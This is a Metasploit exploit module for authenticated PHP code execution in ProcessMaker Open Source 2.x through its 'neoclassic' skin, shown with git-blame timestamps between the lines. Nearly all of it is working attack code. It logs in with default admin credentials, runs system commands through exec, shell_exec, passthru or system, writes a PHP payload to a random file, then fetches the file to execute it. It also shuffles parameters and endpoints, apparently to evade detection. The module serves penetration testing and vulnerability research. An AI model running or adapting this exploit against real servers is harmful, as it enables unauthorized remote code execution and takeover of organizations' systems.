2013-10-29 12:57:29 +00:00
|
|
|
##
|
2017-07-24 13:26:21 +00:00
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
2013-10-29 12:57:29 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
2013-10-29 12:57:29 +00:00
|
|
|
Rank = ExcellentRanking
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
include Msf::Exploit::FileDropper
|
|
|
|
|
|
|
|
def initialize(info={})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => "ProcessMaker Open Source Authenticated PHP Code Execution",
|
|
|
|
'Description' => %q{
|
2013-10-29 14:53:39 +00:00
|
|
|
This module exploits a PHP code execution vulnerability in the
|
2013-10-29 12:57:29 +00:00
|
|
|
'neoclassic' skin for ProcessMaker Open Source which allows any
|
2013-10-29 14:53:39 +00:00
|
|
|
authenticated user to execute PHP code. The vulnerable skin is
|
|
|
|
installed by default in version 2.x and cannot be removed via
|
|
|
|
the web interface.
|
2013-10-29 12:57:29 +00:00
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' => 'Brendan Coles <bcoles[at]gmail.com>',
|
|
|
|
'References' =>
|
|
|
|
[
|
2016-07-15 17:00:31 +00:00
|
|
|
['OSVDB', '99199'],
|
2014-03-17 14:40:32 +00:00
|
|
|
['BID', '63411'],
|
|
|
|
['URL', 'http://bugs.processmaker.com/view.php?id=13436']
|
2013-10-29 12:57:29 +00:00
|
|
|
],
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 8190, # HTTP POST
|
|
|
|
'DisableNops'=> true,
|
|
|
|
'BadChars' => "\x00"
|
|
|
|
},
|
|
|
|
'Platform' => 'php',
|
|
|
|
'Arch' => ARCH_PHP,
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
# Tested on:
|
|
|
|
# * Windows XP SP3 - ProcessMaker Open Source version 2.5.1, 2.5.0, 2.0.23
|
|
|
|
# * Debian Linux - ProcessMaker Open Source version 2.0.45
|
|
|
|
['ProcessMaker Open Source 2.x (PHP Payload)', { 'auto' => true }]
|
|
|
|
],
|
|
|
|
'Privileged' => false, # Privileged on Windows but not on *nix targets
|
|
|
|
'DisclosureDate' => 'Oct 24 2013',
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('USERNAME', [true, 'The username for ProcessMaker', 'admin']),
|
2017-06-13 12:46:36 +00:00
|
|
|
OptString.new('PASSWORD', [true, 'The password for ProcessMaker', 'admin']),
|
|
|
|
OptString.new('WORKSPACE', [true, 'The ProcessMaker workspace', 'workflow'])
|
2017-05-03 20:42:21 +00:00
|
|
|
])
|
2013-10-29 12:57:29 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
#
|
|
|
|
# Send command for execution
|
|
|
|
#
|
|
|
|
def execute_command(cmd, opts = { :php_function => 'system' } )
|
|
|
|
# random vulnerable path # confirmed in versions 2.0.23 to 2.5.1
|
|
|
|
vuln_url = [
|
2017-06-13 12:46:36 +00:00
|
|
|
"/sys#{@workspace}/en/neoclassic/appFolder/appFolderAjax.php",
|
|
|
|
"/sys#{@workspace}/en/neoclassic/cases/casesStartPage_Ajax.php",
|
|
|
|
"/sys#{@workspace}/en/neoclassic/cases/cases_SchedulerGetPlugins.php"
|
2013-10-29 12:57:29 +00:00
|
|
|
].sample
|
|
|
|
|
|
|
|
# shuffle POST parameters
|
|
|
|
vars_post = Hash[{
|
|
|
|
'action' => opts[:php_function],
|
|
|
|
'params' => cmd
|
|
|
|
}.to_a.shuffle]
|
|
|
|
|
|
|
|
# send payload
|
2016-02-01 21:12:03 +00:00
|
|
|
vprint_status("Attempting to execute: #{cmd}")
|
2013-10-29 12:57:29 +00:00
|
|
|
res = send_request_cgi({
|
|
|
|
'method' => 'POST',
|
|
|
|
'uri' => normalize_uri(target_uri.path, vuln_url),
|
|
|
|
'cookie' => @cookie,
|
|
|
|
'vars_post' => vars_post
|
|
|
|
})
|
|
|
|
res
|
|
|
|
end
|
|
|
|
|
|
|
|
#
|
|
|
|
# Login
|
|
|
|
#
|
|
|
|
def login(user, pass)
|
|
|
|
# shuffle POST parameters
|
|
|
|
vars_post = Hash[{
|
|
|
|
'form[USR_USERNAME]' => Rex::Text.uri_encode(user, 'hex-normal'),
|
|
|
|
'form[USR_PASSWORD]' => Rex::Text.uri_encode(pass, 'hex-normal'),
|
|
|
|
}.to_a.shuffle]
|
|
|
|
|
|
|
|
# send login request
|
2016-02-01 21:12:03 +00:00
|
|
|
print_status("Authenticating as user '#{user}'")
|
2013-10-29 12:57:29 +00:00
|
|
|
begin
|
|
|
|
res = send_request_cgi({
|
|
|
|
'method' => 'POST',
|
2017-06-13 12:46:36 +00:00
|
|
|
'uri' => normalize_uri(target_uri.path, "/sys#{@workspace}/en/neoclassic/login/authentication.php"),
|
2013-10-29 12:57:29 +00:00
|
|
|
'cookie' => @cookie,
|
|
|
|
'vars_post' => vars_post
|
|
|
|
})
|
|
|
|
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE
|
2016-02-01 21:12:03 +00:00
|
|
|
print_error("Connection failed")
|
2013-10-29 14:53:39 +00:00
|
|
|
return false
|
2013-10-29 12:57:29 +00:00
|
|
|
end
|
|
|
|
if res and res.code == 200 and res.body =~ /Loading styles and images/
|
2016-02-01 21:12:03 +00:00
|
|
|
print_good("Authenticated as user '#{user}'")
|
2013-10-29 14:53:39 +00:00
|
|
|
return true
|
2013-10-29 12:57:29 +00:00
|
|
|
else
|
2016-02-01 21:12:03 +00:00
|
|
|
print_error("Authenticating as user '#{user}' failed")
|
2013-10-29 14:53:39 +00:00
|
|
|
return false
|
2013-10-29 12:57:29 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
#
|
|
|
|
# Check credentials are valid and confirm command execution
|
|
|
|
#
|
|
|
|
def check
|
2017-06-13 12:46:36 +00:00
|
|
|
@workspace = datastore['WORKSPACE']
|
|
|
|
|
2013-10-29 12:57:29 +00:00
|
|
|
# login
|
|
|
|
@cookie = "PHPSESSID=#{rand_text_alphanumeric(rand(10)+10)};"
|
2013-10-29 14:53:39 +00:00
|
|
|
unless login(datastore['USERNAME'], datastore['PASSWORD'])
|
|
|
|
return Exploit::CheckCode::Unknown
|
|
|
|
end
|
2013-10-29 12:57:29 +00:00
|
|
|
|
|
|
|
# send check
|
|
|
|
fingerprint = Rex::Text.rand_text_alphanumeric(rand(10)+10)
|
2016-02-01 21:12:03 +00:00
|
|
|
vprint_status("Sending check")
|
2013-10-29 12:57:29 +00:00
|
|
|
begin
|
|
|
|
res = execute_command("echo #{fingerprint}")
|
|
|
|
if res and res.body =~ /#{fingerprint}/
|
|
|
|
return Exploit::CheckCode::Vulnerable
|
|
|
|
elsif res
|
2013-10-29 14:53:39 +00:00
|
|
|
return Exploit::CheckCode::Safe
|
2013-10-29 12:57:29 +00:00
|
|
|
end
|
|
|
|
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE
|
2016-02-01 21:12:03 +00:00
|
|
|
vprint_error("Connection failed")
|
2014-01-21 20:10:35 +00:00
|
|
|
return Exploit::CheckCode::Unknown
|
2013-10-29 12:57:29 +00:00
|
|
|
end
|
2014-01-21 20:10:35 +00:00
|
|
|
Exploit::CheckCode::Safe
|
2013-10-29 12:57:29 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
#
|
|
|
|
# Write payload to filesystem
|
|
|
|
#
|
|
|
|
def upload
|
|
|
|
# Random PHP function for command execution
|
|
|
|
php_function = [
|
|
|
|
'exec',
|
|
|
|
'shell_exec',
|
|
|
|
'passthru',
|
|
|
|
'system'
|
|
|
|
].sample
|
|
|
|
|
|
|
|
# upload payload
|
|
|
|
code = "<?php #{payload.encoded} ?>"
|
2016-02-01 21:12:03 +00:00
|
|
|
print_status("Sending payload '#{@fname}' (#{code.length} bytes)")
|
2013-10-29 12:57:29 +00:00
|
|
|
begin
|
|
|
|
res = execute_command("echo \"#{code}\">#{@fname}", { :php_function => php_function } )
|
|
|
|
if res and res.code == 200
|
2016-02-01 21:12:03 +00:00
|
|
|
print_good("Payload sent successfully")
|
2013-10-29 12:57:29 +00:00
|
|
|
register_files_for_cleanup(@fname)
|
|
|
|
else
|
|
|
|
fail_with(Failure::UnexpectedReply, "#{peer} - Sending payload failed")
|
|
|
|
end
|
|
|
|
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE
|
2013-10-29 14:53:39 +00:00
|
|
|
fail_with(Failure::Unreachable, "#{peer} - Connection failed")
|
2013-10-29 12:57:29 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
2017-06-13 12:46:36 +00:00
|
|
|
@workspace = datastore['WORKSPACE']
|
|
|
|
|
2013-10-29 12:57:29 +00:00
|
|
|
# login
|
|
|
|
@cookie = "PHPSESSID=#{rand_text_alphanumeric(rand(10)+10)};"
|
2013-10-29 14:53:39 +00:00
|
|
|
unless login(datastore['USERNAME'], datastore['PASSWORD'])
|
|
|
|
fail_with(Failure::NoAccess, "#{peer} - Authentication failed")
|
|
|
|
end
|
2013-10-29 12:57:29 +00:00
|
|
|
|
|
|
|
# upload payload
|
|
|
|
@fname = "#{rand_text_alphanumeric(rand(10)+10)}.php"
|
|
|
|
upload
|
|
|
|
|
|
|
|
# execute payload
|
2016-02-01 21:12:03 +00:00
|
|
|
print_status("Retrieving file '#{@fname}'")
|
2013-10-29 12:57:29 +00:00
|
|
|
send_request_cgi({'uri' => normalize_uri(target_uri.path, "#{@fname}")})
|
|
|
|
end
|
|
|
|
end
|